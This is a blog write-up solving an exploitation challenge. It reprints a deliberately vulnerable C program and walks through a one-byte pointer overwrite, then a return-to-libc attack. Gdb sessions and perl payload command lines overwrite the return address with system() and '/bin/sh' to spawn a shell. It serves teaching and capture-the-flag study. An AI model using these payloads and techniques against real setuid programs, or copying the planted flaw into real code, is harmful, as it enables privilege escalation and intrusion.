Phiral Challenge
I found this little writeup I did a while back on Jon Ericson's little challenge he posted way back. Thought I'd through it up on the blog.
Phiral Challenge Explained - By omin0us (anthony.lineberry - gmail - com)
http://dtors.org
phiral.com is the website of the author of the book 'Hacking: The Art of
Exploitation'. The author (Jon Ericson) posted a piece of challenge code. Anyway, the challenge is a clever piece of C code
that is locally exploitable. Many constraints were put in place to make it much
more difficult to exploit than your standard buffer overflow. I will walk you
through his code, and explain the solution I came up with that will lead to
exploitation and give us a shell. :]
First off... the vulnerable code
/*
Try to exploit this without using any shellcode.
Assume a nonexecutable stack.
Get a root shell.
Jose Ronnick
*/
#define message "Are two bytes enough for you? =)
void clearmem(char **target)
{
int i;
for(i = 0; target[i] != 0; i++)
memset(target[i], 0, strlen(target[i]));
}
void func(char *src)
{
char buffer[56];
strcpy(buffer, src);
}
int main(int argc, char *argv[], char *envp[])
{
char buffer[100];
char *data, *loc;
long *location;
int buf_len;
if(argc == 1) exit(0);
data = (char *) malloc(20);
loc = data + 16;
*((long *)loc) = (long)message;
location = (long *) loc;
if(argc > 2)
loc = argv[2];
else
loc = 0;
if(strlen(argv[1]) > 38)
if(((unsigned char) argv[1][33] != 0xff) ||
((unsigned char) argv[1][34] != 0xbf)) exit(1);
bzero(buffer, 100);
buf_len = strlen((char *)*location) + strlen(argv[1]);
strncat(buffer, (char *)*location, strlen((char *)*location));
strncat(buffer, argv[1], strlen(argv[1]));
buffer[buf_len] = 0;
if(loc)
{
if(strlen(loc) > 15) exit(1);
if(strlen(loc) < 14)
{
if(loc[14] == 0)
memcpy(data, loc, 17);
else
strcpy(data, loc);
}
}
buf_len = strlen((char *)*location) + strlen(argv[1]);
printf("%s (%d)n", buffer, buf_len);
clearmem(envp);
clearmem(argv);
bzero(0xbfffff00, 250);
if(buf_len < 56)
func(buffer);
}
The very first constraints you may notice are given in the comment at the start
of the code. Exploit using no shellcode. Assume a non executable stack. This
really isn't much of a problem at all.
Alright, lets look at the first little block of code and explain what its doing.
data = (char *) malloc(20);
loc = data + 16;
*((long *)loc) = (long)message;
location = (long *) loc;
Here we have a pointer called data that has 20 bytes allocated to it. We then
take the pointer called loc and point it to the address of data+16. So now loc
is a pointer to the last 4 bytes of memory in data's 20 byte allocation.
On the next line, we then make the address loc points to, hold the address of
the defined string called message. Lastly, we then make the pointer location
point to the last 4 bytes of data as well.
Here is a little diagram.
16 bytes 4 bytes
[___________________________________|_address of 'message'_]
^ ^
data loc/location
Our next little block of code is pretty simple. We check if we have more that 2
arguments supplied on the command line, and if so, we point loc to that
argument. Otherwise, we set loc to be a NULL pointer.
if(argc > 2)
loc = argv[2];
else
loc = 0;
Next we have our first coded constraint. This block of code basically states
that if our first supplied argument is more than 38 characters long, the 34th
and 35th (remeber, real men as well as arrays start counting at 0) character
must be 0xff & 0xbf respectively. This still shouldn't present a problem.
Our next block of code starts to actually do something.
bzero(buffer, 100);
buf_len = strlen((char *)*location) + strlen(argv[1]);
strncat(buffer, (char *)*location, strlen((char *)*location));
strncat(buffer, argv[1], strlen(argv[1]));
buffer[buf_len] = 0;
First off, we are zeroing out our 100 byte buffer that has been statically
allocated on the stack. Now, if you have a keen eye, you may notice that this
buffer can be overflowed by incorrect use of strncat(). But lets not jump on
that, as its not actually the part of the program that we want to exploit
believe it or not.
Anyway, we calculate the length of argv[1] + the length of the 'message'
string. (yet we dont use this value for anything at the moment other than
terminating the last byte of the buffer.) We then concatenate location's string
into buffer, and then concatenate argv[1] onto the end of buffer. So, knowing
this, and knowing that we dont want to overflow buffer which is 100 bytes. And
seeing that the message string is 53 bytes, this allows us to provide at most
47 bytes for the first argument.
On to our next block of code.
if(loc)
{
if(strlen(loc) > 15) exit(1);
if(strlen(loc) < 14)
{
if(loc[14] == 0)
memcpy(data, loc, 17);
else
strcpy(data, loc);
}
}
So looking at this, we can recall from before that loc will either be NULL, or
will be pointing to our 2nd argument, depending on if we provided a 2nd
argument or not. Assuming we did provide a 2nd argument, this piece of code
checks that the argument is less than 15 characters long. If it is, the program
exit()'s. So here is another constraint. Our 2nd argument must be <= 14
characters in length.
The next little bit now checks if our string is less than 14 characters. If it
is, then we check if the 15th byte (loc[14]) is == 0. If it is, then we copy
17 bytes of memory, starting at the address of our 2nd argument, argv[2], into
our data buffer. Otherwise, we just strcpy the argument into data's buffer.
This should raise a little red flag in your head. Assuming that loc[14] is == 0,
we copy 17 bytes of memory into data's 20 byte buffer... but wait. Aren't only
the first 16 bytes unoccupied? As the last 4 bytes of data contain the address
of our message string... Looks like we have a Now have control of 1 byte of
that address. :]
Lets keep that in mind.
Also, another constraint. In order to be able to copy those 17 user supplied
bytes, our 2nd argument must be no longer than 13 characters. So with that in
mind, that means that the 14th byte of will be NULL (0). And the 15 byte
(loc[14]) will then be the first byte of memory of your Environment variables.
We can see that here is this little snippet from a gdb session
(gdb) p (char *)(loc+14)
$34 = 0xbfbffcc4 "USER=omin0us"
(gdb) x/5s loc+14
0xbfbffcc4: "USER=omin0us"
0xbfbffcd1: "LOGNAME=omin0us"
0xbfbffce1: "HOME=/home/omin0us"
0xbfbffcf4: "MAIL=/var/mail/omin0us"
0xbfbffd0b: "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/sbin:/usr/local/bin:/usr/X11R6/bin:/home/omin0us/bin"
(gdb)
So...how can we get an extra NULL onto the argument stack to trick it into
copying those 17 user supplied bytes of data. Well duh... we just provide a
null argument. But then we need a 16th and 17th byte that will get copyied into
data's memory. As we dont want to just use the first 2 bytes inside our
environment variable memory. So we need to figure out what to do with that.
So knowing all this, that means we will need to provide 4 arguments to this
program.
Onward...
buf_len = strlen((char *)*location) + strlen(argv[1]);
printf("%s (%d)n", buffer, buf_len);
clearmem(envp);
clearmem(argv);
bzero(0xbfffff00, 250);
if(buf_len < 56)
func(buffer);
Ok, next we compute the length of our message string plus argv[1]. And print the
contents of buffer, and the length we just calculated.
Then we call 2 functions that just go through, and clear out all of our argument
memory as well as environment variables. And then clears 250 bytes starting at
the top of the stack (only on some systems though. I've found this to actually
just crash the program on more modern Linux kernels as well as BSD machines.)
Lastly, we check if our calculated buffer length is less than 56 bytes, and if
so, pass that buffer to func().
void func(char *src)
{
char buffer[56];
strcpy(buffer, src);
}
func() then copies this supplied data into a 56 byte static buffer on the stack.
Good thing we have a check that the passed in buffer is less than 56 bytes long
before we call this function or we'd be FUCKED!!! But unfortunantely, it already
is.
So lets review what we know.
1. We need to supply 4 command line arguments.
2. The first argument is limited to 47 bytes. Of which, the 34th and 35th byte
must be 0xff and 0xbf.
3. The 2nd argument is limited to 13 characters.
4. In order to overwrite the 17 bytes of data, we need a 3rd Null argument.
5. Our 4th argument will be the bytes that overwrite the 1 byte that we control
of the message string address.
6. We cannot use shellcode.
7. We must assume a non-executable stack.
Alright, lets get to crafting our exploit. The entire flaw in this whole design
is
these two lines:
if(loc[14] == 0)
memcpy(data, loc, 17);
We can take advantage of this, because the last 4 bytes contain the address of
the message string which is 53 bytes long. If we overwrite the last byte of the
string's address, we can trick the buf_len calculation at the end to return a
shorter length and then be able to pass in our full 100 byte buffer!
so lets give this a go.
(gdb) run `perl -e 'print "A"x33 . "xffxbf" . "A"x12'` `perl -e 'print "A"x13'` "" `perl -e 'print "x70x70"'`
Starting program: /home/omin0us/matrixchallenge/mxc `perl -e 'print "A"x33 . "xffxbf" . "A"x12'` `perl -e 'print "A"x13'` "" `perl -e 'print "x70x70"'`
Are two bytes enough for you? =)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA (47)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Yay! we overwrite the return address in func()! We our 4th argument of "Ax70" changed
the last byte of the message string to be 0x70. You can see that by setting a break
point in the program and inspecting the pointers value.
(gdb) n
59 memcpy(data, loc, 17);
(gdb) p/x *location
$4 = 0x80489a0
(gdb) n
65 buf_len = strlen((char *)*location) + strlen(argv[1]);
(gdb) p/x *location
$5 = 0x8048970
(gdb)
we went from 0x80489a0 to 0x8048970, a difference of 48 bytes. So now the strlen() of
the message string returns 0. This added with argv[1]'s length, gives us 47 bytes for
buf_len at the end.
Now we need to do something with our controlled return address. How about we spawn a
shell. We can use a pretty standard Return-to-LibC attack for this.
First we need to find out the address of the system() function in memory.
(gdb) p system
$10 = {} 0x28084784
(gdb)
If you play around with the arguments a bit, you will discover that the bytes over
writing the return address are the 8th-11th bytes of the first argument.
(gdb) run `perl -e 'print "A"x7 . "BBBB" . "A"x22 . "xffxbf" . "A"x12'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Starting program: /home/omin0us/matrixchallenge/mxc `perl -e 'print "A"x7 . "BBBB" . "A"x22 . "xffxbf" . "A"x12'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Are two bytes enough for you? =)
AAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA (47)
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
You will see the return address now got overwritten with all 'B's, So that is where we
want to supply the address of system in libc. All that is needed now is an argument
for system. how about... "/bin/sh" :) So we need to place that as a string somewhere,
and supply that address as an argument. How about we place it at the end of our first
argument? That way it gets null terminated. So here is our command line now.
(gdb) run `perl -e 'print "A"x7 . "x84x47x08x28" . "A"x22 . "xffxbf" . "A"x5 . "/bin/sh"'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Lets look at the address of buffer now.
(gdb) p &buffer
$12 = (char (*)[100]) 0xbfbffacc
(gdb)
knowing that buffer is 100 bytes long. and /bin/sh is 7 chars, we can compute our
address by 0xbfbffacc+93
(gdb) p (char *)(0xbfbffacc+93)
$15 = 0xbfbffb29 "/bin/sh"
(gdb)
So now we must supply the address of system(), 4 bytes of crap, and then the address
of the string "/bin/sh" on the end of our 1st argument.
so that gives us this as our command line argument of
(gdb) run `perl -e 'print "A"x7 . "x84x47x08x28" . "CRAP" . "x29xfbxbfxbf" . "A"x14 . "xffxbf" . "A"x5 . "/bin/sh"'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Which gleefully presents us with a shell :)
(gdb) run `perl -e 'print "A"x7 . "x84x47x08x28" . "CRAP" . "x29xfbxbfxbf" . "A"x14 . "xffxbf" . "A"x5 . "/bin/sh"'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Starting program: /home/omin0us/matrixchallenge/mxc `perl -e 'print "A"x7 . "x84x47x08x28" . "CRAP" . "x29xfbxbfxbf" . "A"x14 . "xffxbf" . "A"x5 . "/bin/sh"'` `perl -e 'print "A"x13'` "" `perl -e 'print "Ax70"'`
Are two bytes enough for you? =)
AAAAAAA�(CRAP)�AAAAAAAAAAAAA��AAAAA/bin/sh (47)
$ whoami
omin0us
$ id
uid=1002(omin0us) gid=1002(omin0us) groups=1002(omin0us), 1006(ominOS)
$
hooray. have fun.
Comments
AR says:
Hi! I think for a full solution you can't get away with just system() since bash drops privileges. you need a seteuid(0) first.
whhhaaaaaaaaa says:
wha duh fux?! i dun get it. <3 nickie retarded.